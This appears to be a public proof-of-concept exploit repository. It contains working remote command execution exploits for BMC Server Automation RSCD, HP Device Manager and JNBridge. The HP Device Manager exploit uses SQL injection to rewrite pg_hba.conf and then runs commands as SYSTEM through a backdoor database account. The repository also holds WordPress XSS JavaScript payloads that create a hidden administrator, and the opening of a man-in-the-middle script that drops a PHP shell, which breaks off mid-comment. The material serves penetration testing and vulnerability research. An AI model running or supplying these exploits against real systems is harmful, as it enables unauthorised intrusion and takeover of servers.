├── BMC_RSCD_RCE └── BMC-RSCD-RCE-CVE-2016-1542.py ├── HP_Device_Manager_RCE ├── com │ └── hp │ │ └── hpdm │ │ ├── interf │ │ └── ServiceInterf.java │ │ └── mess │ │ ├── Message.java │ │ ├── Request.java │ │ └── Response.java └── nb │ └── barmie │ └── exploits │ └── standalone │ └── HPDeviceManagerExploit.java ├── JNBridge_RCE └── jnbridge-exploit-java.py ├── README.md ├── WordPress_JS_Snippets └── README.md └── WordPress_MitM_ShellDrop └── wp-relicdrop.py /BMC_RSCD_RCE/BMC-RSCD-RCE-CVE-2016-1542.py: -------------------------------------------------------------------------------- 1 | ############################################################ 2 | # BMC-RSCD-RCE-CVE-2016-1542.py 3 | # 4 | # Update 12/09/2018: I turned this into a Metasploit module 5 | # which was merged into Metasploit on 31/01/2018. The 6 | # module is: 7 | # 8 | # exploit/multi/misc/bmc_server_automation_rscd_nsh_rce 9 | # 10 | # Github link: 11 | # 12 | # https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb 13 | ############################################################ 14 | # Unauthenticated arbitrary command execution exploit for 15 | # BMC Server Automation versions affected by CVE-2016-1542 16 | # and CVE-2016-1543. 17 | # 18 | # Produced by @NickstaDB, based on the work of @yaole0/Insinuator: 19 | # * https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/ 20 | # * https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic 21 | # Along with the Nessus plugin that targets the NSH interface/protocol (thanks for the packets!): 22 | # * https://www.tenable.com/plugins/index.php?view=single&id=91947 23 | # See also: 24 | # * https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/ 25 | # * https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/ 26 | ############################################################ 27 | # Notes: 28 | # * On Windows, commands may need to be prefixed with "cmd /c " 29 | # * Commands can be chained using shell operators, e.g. cmd /c "cd foo & dir" 30 | ############################################################ 31 | import socket 32 | import ssl 33 | import struct 34 | import sys 35 | 36 | #################### 37 | # Return the given number as a hex string, padded with zeros to 8 characters 38 | #################### 39 | def padNumber(num): 40 | out = hex(num)[2:] 41 | if len(out) < 8: 42 | out = ("0" * (8 - len(out))) + out 43 | return out 44 | 45 | #################### 46 | # Generate a payload packet to execute the given command 47 | #################### 48 | def createCmdPayload(thecmd): 49 | #Encode backslashes 50 | thecmd = thecmd.replace("\\", "\xc1\xdc") 51 | 52 | #Encode double quotes, unless powershell is being used 53 | if thecmd.startswith("powershell") == False: 54 | thecmd = thecmd.replace("\"", "\xc2\x68") 55 | 56 | #Build the payload packet 57 | payload = padNumber(len(thecmd) + 32) + "303030303030313062373b303b323b6361653b6461343b30".decode("hex") + padNumber(len(thecmd)) + thecmd 58 | 59 | #Prefix with the packet length field and return 60 | return struct.pack(">I", len(payload)) + payload 61 | 62 | #################### 63 | # Detect the target platform 64 | #################### 65 | def getTargetPlatform(host): 66 | #Connect 67 | sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 68 | sck.connect((host, 4750)) 69 | sck.send("TLS") 70 | ssck = ssl.wrap_socket(sck, cert_reqs = ssl.CERT_NONE) 71 | 72 | #Send nexec request and ignore the response 73 | ssck.send("0000005e3030303030303536303030303030313136353b303b33353b3838303b3838303b303030303030303335303b303b373b486920424d43213b393b6167656e74696e666f3b2d3b2d3b303b2d3b313b313b373b486920424d43213b5554462d38".decode("hex")) 74 | ssck.read(4096) 75 | 76 | #Get the platform 77 | ssck.send("000000323030303030303261303030303030313036343b303b323b3666373b3838303b30303030303030303234313030303030303030".decode("hex")) 78 | res = ssck.recv(4096) 79 | 80 | #Close the connection 81 | sck.close() 82 | 83 | #Return the platform 84 | if len(res.split(";")) >= 8: 85 | return res.split(";")[4] 86 | else: 87 | print "[-] Unexpected platform response: " + res.encode("hex") 88 | print "[~] Response text: " + getPrintableChars(res) 89 | return res 90 | 91 | #################### 92 | # Read, extract, and print command output 93 | #################### 94 | def readCmdOutput(ssck): 95 | cmdOutput = "" 96 | responseCompleted = False 97 | 98 | #Read the entire response 99 | while responseCompleted == False: 100 | #Read a response chunk 101 | chunkLen = struct.unpack(">I", ssck.read(4))[0] 102 | chunk = "" 103 | while len(chunk) < chunkLen: 104 | chunk += ssck.read(4096) 105 | 106 | #Check for the "end of output" chunk 107 | if chunkLen == 18 and chunk.startswith("3030303030303061303030303030303278".decode("hex")): 108 | #Done reading the command output 109 | responseCompleted = True 110 | else: 111 | #Append to the command output buffer 112 | if cmdOutput == "": 113 | #Keep the first output chunk as-is 114 | cmdOutput += chunk 115 | 116 | #If the command failed, we're done 117 | if int(cmdOutput[8:16], 16) != 1: 118 | responseCompleted = True 119 | else: 120 | #After the first output buffer the format changes, extract the command output only 121 | cmdOutput += chunk[17:] 122 | 123 | #Check for a successful response 124 | if int(cmdOutput[8:16], 16) == 1: 125 | #Looks successful, print output 126 | print "[+] Success, command output:" 127 | print cmdOutput[26:] 128 | else: 129 | #Possible failure, print error output 130 | errOutLen = int(cmdOutput[8:16], 16) - 1 131 | print "[-] Command execution failed (does the command exist?), output:" 132 | print cmdOutput[17:17 + errOutLen] 133 | 134 | #################### 135 | # Exploit the target 136 | #################### 137 | def exploitTarget(host, cmd): 138 | #Connect 139 | print "[+] Connecting to target" 140 | sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 141 | sck.connect((host, 4750)) 142 | 143 | #Upgrade connection 144 | print "[+] Connected, upgrading to TLS connection" 145 | sck.send("TLS") 146 | ssck = ssl.wrap_socket(sck, cert_reqs = ssl.CERT_NONE) 147 | print "[+] Connection upgraded, sending nexec request" 148 | ssck.send("0000005a3030303030303532303030303030313136353b303b33313b6461343b6461343b303030303030303331303b303b373b486920424d43213b353b6e657865633b2d3b2d3b303b2d3b313b313b373b486920424d43213b5554462d38".decode("hex")) 149 | ssck.read(4096) 150 | 151 | #Send payload 152 | print "[+] Sent, sending payload" 153 | ssck.send(createCmdPayload(cmd)) 154 | 155 | #Finish the request 156 | print "[+] Sent, finishing nexec request" 157 | ssck.send("00000022303030303030316130303030303031327738303b34313b33393035383b3234383531".decode("hex")) 158 | ssck.send("0000001230303030303030613030303030303032657f".decode("hex")) 159 | ssck.send("00000012303030303030306130303030303030326903".decode("hex")) 160 | ssck.send("00000012303030303030306130303030303030327431".decode("hex")) 161 | ssck.send("0000001c303030303030313430303030303030637738303b34313b38303b3431".decode("hex")) 162 | ssck.send("00000011303030303030303930303030303030317a".decode("hex")) 163 | 164 | #Done, read the response 165 | print "[+] Done, getting response" 166 | readCmdOutput(ssck) 167 | 168 | #Close the socket 169 | sck.close() 170 | 171 | #################### 172 | # "Main" 173 | #################### 174 | #Default options 175 | targetHost = "" 176 | targetCmd = "" 177 | 178 | #Validate command line and grab params 179 | if len(sys.argv) == 2: 180 | targetHost = sys.argv[1] 181 | elif len(sys.argv) == 3: 182 | targetHost = sys.argv[1] 183 | targetCmd = sys.argv[2] 184 | else: 185 | print "BMC-RSCD-RCE-CVE-2016-1542.py" 186 | print "Usage:" 187 | print " Execute the given command against the target" 188 | print " Prompt for command to execute against the target" 189 | print " /getplatform Get the target platform" 190 | print "Notes:" 191 | print " When targeting Windows, non-powershell commands may need to be prefixed with" 192 | print " 'cmd /c '." 193 | print " When targeting Windows, non-powershell command lines have an ~8,000" 194 | print " character limit, however, powershell is executed differently and allows" 195 | print " ~32,000 characters." 196 | print "" 197 | sys.exit() 198 | 199 | #Prompt for the command to execute if necessary 200 | while targetCmd == "": 201 | targetCmd = raw_input("Command: ") 202 | 203 | #Launch the exploit 204 | if targetCmd.lower() == "/getplatform": 205 | print "[+] Attempting to identify platform of: " + targetHost 206 | print getTargetPlatform(targetHost) 207 | else: 208 | print "[+] Target: " + targetHost 209 | print "[+] Command: " + targetCmd 210 | exploitTarget(targetHost, targetCmd) 211 | -------------------------------------------------------------------------------- /HP_Device_Manager_RCE/com/hp/hpdm/interf/ServiceInterf.java: -------------------------------------------------------------------------------- 1 | package com.hp.hpdm.interf; 2 | 3 | import com.hp.hpdm.mess.Message; 4 | import java.rmi.Remote; 5 | import java.rmi.RemoteException; 6 | 7 | //Important bits of the com.hp.hpdm.interf.ServiceInterf class 8 | public interface ServiceInterf extends Remote { 9 | public Message sendMessage(Message msg) throws RemoteException; 10 | } 11 | -------------------------------------------------------------------------------- /HP_Device_Manager_RCE/com/hp/hpdm/mess/Message.java: -------------------------------------------------------------------------------- 1 | package com.hp.hpdm.mess; 2 | 3 | import java.io.Serializable; 4 | 5 | //Important bits of the com.hp.hpdm.mess.Message class 6 | public class Message implements Serializable { 7 | private static final long serialVersionUID = -1370767056480903289L; 8 | private String sessionId; 9 | private String userName; 10 | private String password; 11 | private Request request; 12 | private Response response; 13 | private boolean needNotify; 14 | private boolean toSelf; 15 | 16 | public void setRequest(Request r) { request = r; } 17 | } 18 | -------------------------------------------------------------------------------- /HP_Device_Manager_RCE/com/hp/hpdm/mess/Request.java: -------------------------------------------------------------------------------- 1 | package com.hp.hpdm.mess; 2 | 3 | import java.io.Serializable; 4 | import java.util.List; 5 | import java.util.Vector; 6 | 7 | //Important bits of the com.hp.hpdm.mess.Request class 8 | public class Request implements Serializable { 9 | private static final long serialVersionUID = 4355216224548892129L; 10 | private int serviceId; 11 | private Vector paramList; 12 | 13 | public void setSeviceId(int s) { serviceId = s; } 14 | public void setParams(List l) { paramList = new Vector<>(l); } 15 | } 16 | -------------------------------------------------------------------------------- /HP_Device_Manager_RCE/com/hp/hpdm/mess/Response.java: -------------------------------------------------------------------------------- 1 | package com.hp.hpdm.mess; 2 | 3 | import java.io.Serializable; 4 | import java.util.Vector; 5 | 6 | //Important bits of the com.hp.hpdm.mess.Response class 7 | public class Response implements Serializable { 8 | private static final long serialVersionUID = -694118798341985373L; 9 | private Vector contentList; 10 | } 11 | -------------------------------------------------------------------------------- /HP_Device_Manager_RCE/nb/barmie/exploits/standalone/HPDeviceManagerExploit.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exploits.standalone; 2 | 3 | import java.rmi.registry.LocateRegistry; 4 | import java.rmi.registry.Registry; 5 | import java.sql.Connection; 6 | import java.sql.DriverManager; 7 | import java.util.ArrayList; 8 | import java.sql.ResultSet; 9 | import java.sql.Statement; 10 | 11 | import com.hp.hpdm.interf.ServiceInterf; 12 | import com.hp.hpdm.mess.Message; 13 | import com.hp.hpdm.mess.Request; 14 | import java.security.SecureRandom; 15 | import java.security.cert.X509Certificate; 16 | import javax.net.ssl.SSLContext; 17 | import javax.net.ssl.TrustManager; 18 | import javax.net.ssl.X509TrustManager; 19 | 20 | /*********************************************************** 21 | * Exploit for HP Device Manager version 5.0 (tested 22 | * against 5.0.3620.38270). Exploits an unauthenticated SQL 23 | * injection in the RMI service to enable remote access to 24 | * the Postgres database allowing authentication via the 25 | * backdoor user account allowing operating system 26 | * commands to be executed under the context of the local 27 | * SYSTEM account. 28 | * 29 | * Hat tip to these guys for their excellent PGSQL pwnage tips https://pulsesecurity.co.nz/articles/postgres-sqli 30 | * Also these for the HQL function calling pointer https://blog.h3xstream.com/2014/02/hql-for-pentesters.html 31 | * 32 | * Blog post on the vuln discovery: https://nickbloor.co.uk/2020/10/05/hp-device-manager-cve-2020-6925-cve-2020-6926-cve-2020-6927/ 33 | * 34 | * Exploit for pentesting purposes produced by Nicky Bloor (@NickstaDB) 35 | **********************************************************/ 36 | public class HPDeviceManagerExploit { 37 | //Reference to the "HPDM Server RMI" object exposed by the HP Device Manager RMI service 38 | private static ServiceInterf svc; 39 | 40 | public static void main(String[] args) throws Exception { 41 | //Gimme a target 42 | if(args.length != 2) { 43 | System.out.println("Usage: HPDeviceManagerExploit \n"); 44 | return; 45 | } 46 | System.out.println("Target: " + args[0] + "\nCommand: " + args[1] + "\n"); 47 | 48 | //Setup a trust-all SSL context so that the HP Device Manager certificate is ignored when invoking remote methods 49 | initTrustAllSSL(); 50 | 51 | //Get the object exposed by HPDM over RMI 52 | System.out.println("Requesting 'HPDM Server RMI' object over RMI on TCP port 1099..."); 53 | Registry reg = LocateRegistry.getRegistry(args[0], 1099); 54 | svc = (ServiceInterf)reg.lookup("HPDM Server RMI"); 55 | System.out.println("[+] Success.\n\nExploiting unauthenticated SQL injection to enable remote access to Postgres..."); 56 | 57 | //Exploit an unauthenticated HQL/SQL injection to enable remote access to the Postgres service 58 | //First, we create a large object containing the new pg_hba.conf file we want to install 59 | goGoSQLi("x' and $$='$$=concat(chr(61),chr(39)) and 1=(select lo_from_bytea(1099666, $$\\x686F737420616C6C20616C6C203132372E302E302E312F3332206D64350D0A686F737420616C6C20616C6C203A3A312F313238206D64350D0A686F7374207265706C69636174696F6E20616C6C203132372E302E302E312F3332206D64350D0A686F7374207265706C69636174696F6E20616C6C203A3A312F313238206D64350D0A686F737420616C6C20616C6C20302E302E302E302F30206D6435$$)) and 1=1 -- "); 60 | System.out.println("[+] Uploaded new pg_hba.conf as a large object..."); 61 | 62 | //Next, we write the large object above to disk, overwriting the existing pg_hba.conf file 63 | goGoSQLi("x' and $$='$$=concat(chr(61),chr(39)) and 1=(select lo_export(1099666,$$C:/Program Files/HP/HP Device Manager/Server/pgsql_10/data/pg_hba.conf$$)) and 1=1 -- "); 64 | System.out.println("[+] Dumped large object to pg_hba.conf on disk..."); 65 | 66 | //Finally, we delete the large object and reload the Postgres config 67 | goGoSQLi("x' and $$='$$=concat(chr(61),chr(39)) and 1=(select lo_unlink(1099666)) and 1=1 -- "); 68 | goGoSQLi("x' and $$='$$=concat(chr(61),chr(39)) and 1=(select pg_typeof(pg_reload_conf())) and 1=1 -- "); 69 | System.out.println("[+] Reloaded Postgres configuration, remote connections are now accepted.\n"); 70 | 71 | //Use the backdoor Postgres account to execute commands as SYSTEM 72 | //First, connect directly to the Postgres service using the built-in backdoor account 73 | System.out.println("Connecting to Postgres using the built-in backdoor user account."); 74 | Connection conn = DriverManager.getConnection("jdbc:postgresql://" + args[0] + ":40006/hpdmdb", "dm_postgres", " "); 75 | System.out.println("[+] Connected.\n\nExecuting command..."); 76 | Statement stmt = conn.createStatement(); 77 | 78 | //Next, create a table for our command output 79 | stmt.execute("CREATE TABLE IF NOT EXISTS cmd_exec(cmd_output text)"); 80 | System.out.println("[+] Created temporary cmd_exec table to store command output in."); 81 | 82 | //Execute some command as SYSTEM and copy the output into the table we just created 83 | stmt.execute("COPY cmd_exec FROM PROGRAM '" + args[1] + "'"); 84 | System.out.println("[+] Executed command '" + args[1] + "'.\n"); 85 | 86 | //Get and display the output 87 | System.out.println("Command output:"); 88 | ResultSet rs = stmt.executeQuery("SELECT * FROM cmd_exec"); 89 | while(rs.next()) { 90 | System.out.println(rs.getString(1)); 91 | } 92 | System.out.println("\nDone, cleaning up..."); 93 | 94 | //Finally, clean up 95 | stmt.execute("DROP TABLE IF EXISTS cmd_exec"); 96 | conn.close(); 97 | System.out.println("[+] Deleted temporary cmd_exec table."); 98 | } 99 | 100 | //Exploit one of the SQL injections 101 | private static void goGoSQLi(String payload) throws Exception { 102 | Message msg = new Message(); 103 | Request req = new Request(); 104 | ArrayList params = new ArrayList(); 105 | 106 | //Setup the message 107 | params.add(payload); 108 | req.setSeviceId(10552); 109 | req.setParams(params); 110 | msg.setRequest(req); 111 | 112 | //Send it 113 | Message res = svc.sendMessage(msg); 114 | } 115 | 116 | //Setup trust-all SSL context for RMI connection 117 | private static void initTrustAllSSL() throws Exception { 118 | TrustManager[] tm = new TrustManager[] { new X509TrustManager() { 119 | public X509Certificate[] getAcceptedIssuers() { return null; } 120 | public void checkClientTrusted(X509Certificate[] c, String t) {} 121 | public void checkServerTrusted(X509Certificate[] c, String t) {} 122 | }}; 123 | 124 | SSLContext sc = SSLContext.getInstance("SSL"); 125 | sc.init(null, tm, new SecureRandom()); 126 | SSLContext.setDefault(sc); 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /JNBridge_RCE/jnbridge-exploit-java.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ############################################################ 3 | # jnbridge-exploit-java.py 4 | # 5 | # Generates JNBridge protocol messages to execute the 6 | # following code on a Java JNBridge endpoint: 7 | # 8 | # public class Payload { 9 | # public static void main(String[] args) throws Exception { 10 | # Runtime r = java.lang.Runtime.getRuntime(); 11 | # Process p = r.exec(new String[] {"CMD", "ARG1", "ARG2"}); 12 | # BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); 13 | # String line; 14 | # while((line = br.readLine()) != null) { 15 | # System.out.println(line); 16 | # } 17 | # br.close(); 18 | # } 19 | # } 20 | # 21 | # Written by @NickstaDB based on the security advisory for 22 | # CVE-2019-7839 by Moritz Bechler. Read more at the 23 | # following links: 24 | # 25 | # https://packetstormsecurity.com/files/153439/Coldfusion-JNBridge-Remote-Code-Execution.html 26 | # https://nickbloor.co.uk/2019/10/12/reversing-jnbridge-to-build-an-n-day-exploit-for-cve-2019-7839/ 27 | # 28 | # Exploit works against at least version 7+ of JNBridge. 29 | # Version 10.1+ has additional security features to protect 30 | # against exploitation, but this exploit will work if they 31 | # are not used properly. 32 | # 33 | # Don't be a dick, only for use against systems you have 34 | # permission to test against. 35 | ############################################################ 36 | # Potential improvements: 37 | # -> Implement support for SSL/TLS endpoints 38 | # -> Implement support for .NET endpoints (calling .NET from Java) 39 | ############################################################ 40 | import socket 41 | import struct 42 | import sys 43 | 44 | #Get the JNBridge version by sending an invalid message preamble 45 | def getJNBridgeVersion(sock): 46 | sock.send("\x00\x00\x00\x00\x00") 47 | res = sock.recv(2048) 48 | if res.startswith("JNB") and "\x00\x45\x00\x78\x00\x63\x00\x65\x00\x70\x00\x74\x00\x69\x00\x6f\x00\x6e" in res: 49 | return res[3] 50 | return False 51 | 52 | #Get bytes representing the length and content of a given string 53 | def getStrBytes(str): 54 | out = struct.pack(" 21: 133 | return res[14:22] 134 | else: 135 | return None 136 | 137 | #Extract a string from a JNB response 138 | def getReturnedString(res): 139 | if len(res) > 13 and res[13] == "\x00": 140 | #Null returned, end of the line 141 | return None 142 | else: 143 | #Extract and return the string 144 | strlen = struct.unpack(" [cmd params...]" 159 | print " E.g." 160 | print " jnbridge-exploit-java.py 127.0.0.1:8085 cmd /c dir \"C:\\Program Files\"" 161 | print "" 162 | sys.exit() 163 | (target_host, target_port) = sys.argv[1].split(":", 1) 164 | target_cmd = [] 165 | for i in range(2, len(sys.argv)): 166 | target_cmd.append(sys.argv[i]) 167 | 168 | #Connect to the target 169 | print "[~] Connecting to " + target_host + ":" + target_port 170 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 171 | sock.connect((target_host, int(target_port))) 172 | sock.settimeout(30.0) 173 | print "[+] Connected" 174 | 175 | #Do JNBridge service detection 176 | print "[~] Attempting to get JNBridge version." 177 | jnbVersion = getJNBridgeVersion(sock) 178 | if jnbVersion == False: 179 | print "[-] Target does not look like a JNBridge service (or it uses SSL/TLS, currently unsupported)" 180 | sock.close() 181 | sys.exit() 182 | print "[+] Service appears to be a JNBridge service, version byte: 0x" + jnbVersion.encode("hex") 183 | 184 | ############################################################ 185 | # This is where I put on my robe and wizard hat and make the magic happen 186 | ############################################################ 187 | #Run the payload program 188 | if id(sys) % 42 == 0: 189 | print "[~] Meditating to regain mana" 190 | print "[~] Calling java.lang.Runtime.getRuntime()" 191 | msg = getStaticCallBytes("java.lang.Runtime.getRuntime", []) 192 | msg = msg + getObjArrayParamBytes([]) #No parameters 193 | jRuntime = getReturnedObjHandle(sendJNBMsg(msg, jnbVersion, sock)) 194 | if jRuntime == None: 195 | print "[-] Call failed" 196 | sock.close() 197 | sys.exit() 198 | print "[+] Got handle to Runtime object: 0x" + jRuntime.encode("hex") 199 | 200 | print "[~] Calling Runtime.exec(String[])" 201 | msg = getVirtualCallBytes(jRuntime, "exec", ["[Ljava.lang.String;"]) 202 | msg = msg + getObjArrayParamBytes([getStrArrayParamBytes(target_cmd)]) 203 | jProcess = getReturnedObjHandle(sendJNBMsg(msg, jnbVersion, sock)) 204 | if jProcess == None: 205 | print "[-] Call failed" 206 | sock.close() 207 | sys.exit() 208 | print "[+] Got handle to Process object: 0x" + jProcess.encode("hex") 209 | 210 | print "[~] Calling Process.getInputStream()" 211 | msg = getVirtualCallBytes(jProcess, "getInputStream", []) 212 | msg = msg + getObjArrayParamBytes([]) 213 | jInputStream = getReturnedObjHandle(sendJNBMsg(msg, jnbVersion, sock)) 214 | if jInputStream == None: 215 | print "[-] Call failed" 216 | sock.close() 217 | sys.exit() 218 | print "[+] Got handle to InputStream object: 0x" + jInputStream.encode("hex") 219 | 220 | print "[~] Constructing InputStreamReader from InputStream" 221 | msg = getConstructorCallBytes("java.io.InputStreamReader", ["Ljava.io.InputStream;"]) 222 | msg = msg + getObjArrayParamBytes([getObjRefParamBytes(jInputStream, "java.io.InputStream")]) 223 | jInputStreamReader = getReturnedObjHandle(sendJNBMsg(msg, jnbVersion, sock)) 224 | if jInputStreamReader == None: 225 | print "[-] Call failed" 226 | sock.close() 227 | sys.exit() 228 | print "[+] Got new InputStreamReader object: 0x" + jInputStreamReader.encode("hex") 229 | 230 | print "[~] Constructing BufferedReader from InputStreamReader" 231 | msg = getConstructorCallBytes("java.io.BufferedReader", ["Ljava.io.Reader;"]) 232 | msg = msg + getObjArrayParamBytes([getObjRefParamBytes(jInputStreamReader, "java.io.InputStreamReader")]) 233 | jBufferedReader = getReturnedObjHandle(sendJNBMsg(msg, jnbVersion, sock)) 234 | if jBufferedReader == None: 235 | print "[-] Call failed" 236 | sock.close() 237 | sys.exit() 238 | print "[+] Got new BufferedReader object: 0x" + jBufferedReader.encode("hex") 239 | 240 | print "[~] Reading command output..." 241 | print "" 242 | line = "" 243 | while line != None: 244 | msg = getVirtualCallBytes(jBufferedReader, "readLine", []) 245 | msg = msg + getObjArrayParamBytes([]) 246 | line = getReturnedString(sendJNBMsg(msg, jnbVersion, sock)) 247 | if line != None: 248 | print line 249 | print "" 250 | print "[+] Done reading command output" 251 | 252 | print "[~] Calling BufferedReader.close()" 253 | msg = getVirtualCallBytes(jBufferedReader, "close", []) 254 | msg = msg + getObjArrayParamBytes([]) 255 | sendJNBMsg(msg, jnbVersion, sock) 256 | sock.close() 257 | print "[+] Exploit complete" 258 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PoC # 2 | Repo for proof of concept exploits and tools. 3 | 4 | ## BMC\_RSCD\_RCE ## 5 | Unauthenticated remote command execution exploit for BMC Server Automation's RSCD agent. The exploit works against servers affected by CVE-2016-1542 (detected by Nessus). 6 | 7 | **This is now a Metasploit module, see exploits/multi/misc/bmc_server_automation_rscd_nsh_rce** 8 | 9 | The exploit was created by having Nessus scan a Python script that recorded packets and sent them/junk back to Nessus. With packets captured the data format was trivial to "reverse" to create a semi-working exploit. I later got access to the affected agent software and was able to use a debugger and some fuzzing to iron out the kinks and turn this into a solid RCE exploit. 10 | 11 | Check out my blog posts on how I built the exploit for more details: 12 | 13 | * ["RCE with BMC Server Automation"](https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/ "RCE with BMC Server Automation") 14 | * ["Improving the BMC RSCD RCE Exploit"](https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/ "Improving the BMC RSCD RCE Exploit") 15 | 16 | ## HP\_Device\_Manager_RCE ## 17 | Unauthenticated remote code execution exploit for HP Device Manager versions 5.0.0 to 5.0.3 (CVE-2020-6926, CVE-2020-6927). 18 | 19 | The exploit takes advantage of an unauthenticated Java RMI service which has a Hibernate Query Language injection vulnerability. [ORM injection](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf) is used to smuggle a [Postgres SQL injection payload](https://pulsesecurity.co.nz/articles/postgres-sqli) to overwrite the `pg_hba.conf` file on the HP Device Manager server, enabling remote access to the Postgres database that's bundled with HPDM. Once enabled, a backdoor superuser account is used to authenticate to the Postgres database and execute arbitrary operating system commands. 20 | 21 | Check out my blog post on how I discovered these vulnerabilities for more details: 22 | 23 | * [HP Device Manager CVE-2020-6925, CVE-2020-6926, CVE-2020-6927](https://nickbloor.co.uk/2020/10/05/hp-device-manager-cve-2020-6925-cve-2020-6926-cve-2020-6927/) 24 | 25 | While this exploit only works against HPDM 5.x, the unauthenticated Java RMI service is present in all versions of HPDM prior to 5.0.4 and 4.7 service pack 13. The impact of exploiting this service *may* be lower, but there is still an HQLi/SQLi vulnerability, along with the ability to extract configuration (potentially including passwords for other services), and all HPDM account usernames and corresponding MD5 password hashes. 26 | 27 | ## JNBridge_RCE ## 28 | Unauthenticated remote code execution exploit for insecurely configured JNBridge Java service endpoints. Based on the work of Moritz Bechler ([CVE-2019-7839](https://packetstormsecurity.com/files/153439/Coldfusion-JNBridge-Remote-Code-Execution.html)). 29 | 30 | The network protocol implemented by JNBridge is designed solely to facilitate remote code execution for interoperability between Java and .NET applications. Thus, this isn't technically an exploit, just a handy little Python script to execute arbitrary commands against a JNBridge Java endpoint. 31 | 32 | Check out my blog post for a walkthrough of my journey from security advisory to producing a full exploit: 33 | 34 | * [Reversing JNBridge to Build an n-day Exploit for CVE-2019-7839](https://nickbloor.co.uk/2019/10/12/reversing-jnbridge-to-build-an-n-day-exploit-for-cve-2019-7839/) 35 | 36 | ## WordPress\_MitM\_ShellDrop ## 37 | This exploit targets insecure automatic update functionality in WordPress to drop a PHP shell on the underlying server. The exploit has been tested successfully up to WordPress 4.9.8, which is the latest version at the date of publishing. 38 | 39 | When WordPress checks for updates it attempts a secure HTTPS connection to api.wordpress.org. If this connection fails, for example because an untrusted certificate is presented, then WordPress falls back to using an insecure HTTP connection. 40 | 41 | The second issue, is that WordPress trusts translation updates. It won't automatically update plugins, themes, or major core versions, presumably due to the risks of installing new code on the server. It does, however, automatically update translations. Unfortunately WordPress fails to properly validate translation archives so as long as the translation ZIP file contains at least one file with the extension .po, and one file with the extension .mo, WordPress will extract the contents to the underlying server (including the shell inserted in there by the MitM). 42 | 43 | I stumbled across these issues by accident but when I reported them (November 2017) the WordPress team basically said WONTFIX because of backwards compatibility. If someone is running WordPress on a server that can't establish an outbound SSL/TLS connection then they should still be able to automatically update WordPress for **security** reasons, they say. 44 | 45 | ¯\\\_(ツ)\_/¯ 46 | 47 | Check out my blog post for more details: 48 | 49 | * ["POPping WordPress"](https://nickbloor.co.uk/2018/02/28/popping-wordpress/ "POPping WordPress") 50 | 51 | ## WordPress\_JS\_Snippets ## 52 | Some JS snippets to use for exploiting WordPress XSS vulns. 53 | -------------------------------------------------------------------------------- /WordPress_JS_Snippets/README.md: -------------------------------------------------------------------------------- 1 | # WordPress JS Snippets # 2 | 3 | ## Create Admin ## 4 | Minimal-ish JS payload to grab a new user nonce and use it to create a new administrator. Configurable bits at the start - `u` is the path to the root of the WordPress install, `un` is the username you want to create, `em` is an email address for the user account, `pw` is the password you want to use. 5 | 6 | u='/path-to-wp-root';un='username';em='em@a.il',pw='passwurd!';nu=u+'/wp-admin/user-new.php';j=jQuery;j.get(nu,function(d){n=d.split("_wpnonce_create-user\" value=\"")[1].split("\"")[0];j.post(nu,{action:'createuser','_wpnonce_create-user':n,'_wp_http_referer':nu,'user_login':un,email:em,'first_name':'','last_name':'',url:'',pass1:pw,'pass1-text':pw,pass2:pw,'pw_weak':'on','send_user_notification':'0',role:'administrator',createuser:'Add New User'});}) 7 | 8 | ## Delete a Comment ## 9 | Minimal-ish JS payload to delete a comment based on a given chunk of text. Use this to automatically clean up a malicious comment (e.g. one exploiting the < 4.9.10, < 5.0.4, < 5.1.1 comment CSRF vulnerability). Grabs the AJAX "Bin" link from the comments screen, swaps **trash** for **delete** in the URL, then issues a GET to the URL twice (first time bins it, second time deletes it). Set `u` to the path to the root of the WordPress install and `t` to some string used in the comment that you want to delete. This only deletes the first comment and only works if the comment is on the first page of results (i.e. a recent comment). 10 | 11 | u='/path-to-wp-root';t='COMMENT-TAG-TO-SEARCH-FOR';j=jQuery;j.get(u+'/wp-admin/edit-comments.php',function(d){dl=d.split(t)[2].split('Spam')[1].split('href=\'')[1].split('\'')[0].replace('trash','delete').replace(/&/g,'&');j.get(dl,function(){j.get(dl);});}); 12 | 13 | -------------------------------------------------------------------------------- /WordPress_MitM_ShellDrop/wp-relicdrop.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ############################################################ 3 | # wp-relicdrop,py 4 | # 5 | # WordPress update MitM exploit which drops a crude PHP 6 | # shell on the target server. 7 | # 8 | # By default WordPress will check for updates up to every 9 | # 60 seconds when /wp-cron.php is accessed. When it does 10 | # so, it attempts a secure HTTPS connection to the domain: 11 | # 12 | # api.wordpress.org 13 | # 14 | # If this secure HTTPS connection fails for any reason, for 15 | # example if an invalid SSL certificate is presented by a 16 | # MitM attacker or if a MitM attacker just doesn't have 17 | # port 443 listening, then WordPress tries to connect over 18 | # an insecure HTTP connection instead. Apparently people 19 | # might be running WordPress from a server that can't make 20 | # outbound SSL/TLS connections and, in the interests of 21 | # security, the WordPress team want those servers to be 22 | # capable of auto-updating too. So HTTP it is. 23 | # 24 | # By stepping into the middle of a WordPress update check, 25 | # we can tell WordPress that there's an update available 26 | # when in fact there is not. Now, WordPress won't (by 27 | # default) automatically update plugins, themes, or major 28 | # core releases because of the risk of new PHP files being 29 | # written to the server. 30 | # 31 | # Translations are a different matter though. They're just 32 | # text files, right? They're clearly safe. Well yeah, 33 | # they're safe if they are just text files and they are 34 | # validated properly. WordPress doesn't validate those 35 | # files. Or it does, but not well enough. 36 | # 37 | # So, we've MitM the connection from a WordPress website 38 | # to api.wordpress.org. We use this to trick the target 39 